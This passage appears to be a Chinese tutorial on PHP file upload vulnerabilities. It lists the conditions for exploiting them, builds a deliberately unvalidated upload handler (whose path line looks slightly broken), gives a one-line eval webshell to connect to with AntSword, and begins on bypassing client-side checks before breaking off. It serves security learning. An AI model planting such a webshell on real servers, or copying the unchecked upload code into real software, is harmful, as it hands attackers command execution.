0x00 漏洞简介
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击是最为直接和有效的,“文件上传”本身是没有问题,有问题的是文件上传后,服务器怎么处理,解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果,。
0x01漏洞条件
文件可上传
知道文件上传的路径
上传文件可以被访问
上传文件可以被执行
0x02 挖掘思路
上传点都调用同一个上传类,直接全局搜索上传函数
黑盒寻找上传点,代码定位。
0x03 写一个上传
我们先写一个上传的前端
<html>
<head>
<meta charset="UTF-8">
<title>upload.html</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="上传文件">
<!--<input type="hidden" name="MAX_FILE_SIZE" name="4098">//设置文件上传大小,一般在php.ini里面设置-->
</form>
</body>
</html>
写一个上传php
<?php
$upload_dir = "D:\\PHPSTUDY2018\\PHPTutorial\\WWW\\upload";
if(isset($_FILES[\'file\'])){
$upload_name = $upload_dir . "\\\\" . $_FILES[\'file\'];
move_uploaded_file($_FILES[\'file\'][\'tmp_name\'],$upload_name);
echo "Type:" . $_FILES[\'file\'][\'type\']. "<br >";
echo "Size:" . ($_FILES[\'file\'][\'size\'] / 1024) . "<br >";
echo "Name:" . $_FILES[\'file\'][\'name\'];//这三行是我们看一下上传效果。
}else{
echo"上传失败";
}
写一个最简单的一句话
<?php
@eval($_POST[\'777\'])
?>
上传:
看到上传成功
之后拿蚁剑连接就行
这是一个最简单最简单的例子,只是让自己开始往白盒方向转变。慢慢积累
0x04 文件上传绕过
1:客户端js检测检测绕过
检测原理
在客户端通过javascript代码来检测用户提交的文件是否合法
绕过方法
- 添加允许上传的文件类型,使自己想要上传的会见类型为合法
2、删除对js验证脚本的调用,使其不能对上传的文件类型做检测,从而达到绕过 -同样的通过审查元素,查看到form表单的内容,form的开始标签为